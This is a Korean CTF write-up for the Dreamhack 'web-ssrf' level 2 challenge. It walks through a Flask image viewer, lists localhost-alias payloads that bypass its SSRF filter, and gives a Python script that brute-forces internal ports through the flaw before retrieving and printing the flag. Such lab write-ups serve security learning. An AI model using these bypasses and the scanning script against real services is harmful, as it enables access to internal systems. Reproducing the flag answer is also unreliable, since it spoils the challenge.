CTF & Wargame(WEB)

web-ssrf level 2

KWAKBUMJUN 2025. 4. 14. 10:35

웹 서비스 분석

url란에 입력한 경로의 이미지를 화면에 출력해준다.

 

엔드포인트 분석

/img_viewer

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

GET

img_viewer.html을 띄워줌

POST

url에 사용자가 입력한 url을 저장

urlparse함수를 사용하여 url을 구성요소 별로 나눠서 urlp에 저장

입력받은 url의 [0] 번째 값이 /라면 url뒤에 사용자가 입력한 url을 추가함

 

그리고 localhost와 127.0.0.1의 접근을 제한한다. 막힌 경우에는 base64 인코딩하여 error.png를 보여줌

만약 제한에 걸리지 않았다면 requests.get으로 이미지를 다운로드하고 base64로 인코딩하여 템필릿에 넘겨준다. 

 

취약점 분석

image_viewer에서는 이용자가 POST로 전달한 url에 http 요청을 보내고 응답을 반환한다. 하지만 해당 코드에서는 localhost와 127.0.0.1의 접근을 막는다. 하지만 이를 우회하면 내부 http 서버에 접근할 수 있을 것이다.

 

localhost / 127.0.0.1 우회를 하는 방법은 127.0.0.1의 alias를 사용하거나 localhost의 alias를 사용하면 우회가 가능하다.

localhost alias 예시 

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

 

따라서 url에 http://localhost:8000/의 값을 넣어서 우회를 해주면 위와 같이 인덱스 페이지를 base64로 인코딩한 값을 보여준다.

 

포트 찾기

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"


def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text


def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port


if __name__ == "__main__":
    chall_port = 24054
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

위의 코드와 같은 무차별 대입 공격을 사용하여 1500~1800까지의 임의 포트를 찾는다. 위의 코드를 실행하면 내부 HTTP 서버의 포트를 알아낼 수 있다.

port : 1597

포트 번호를 알아냈다면

 

http://Localhost:1597/flag.txt 이 url을 입력해주면

위와 같이 base64로 인코딩된 flag를 획득할 수 있다. 이를 디코딩 해보면

DH{43dd2189056475a7f3bd11456a17ad71}

'CTF & Wargame(WEB)' 카테고리의 다른 글

blind-command level 2  (0) 2025.04.14
Carve Party beginner  (0) 2025.04.14
[dreamhack] Beginner file-download-1  (0) 2025.04.14
[dreamhack] level 1 image-storage  (0) 2025.04.14
[dreamhack] beginner command-injection-1  (0) 2025.04.14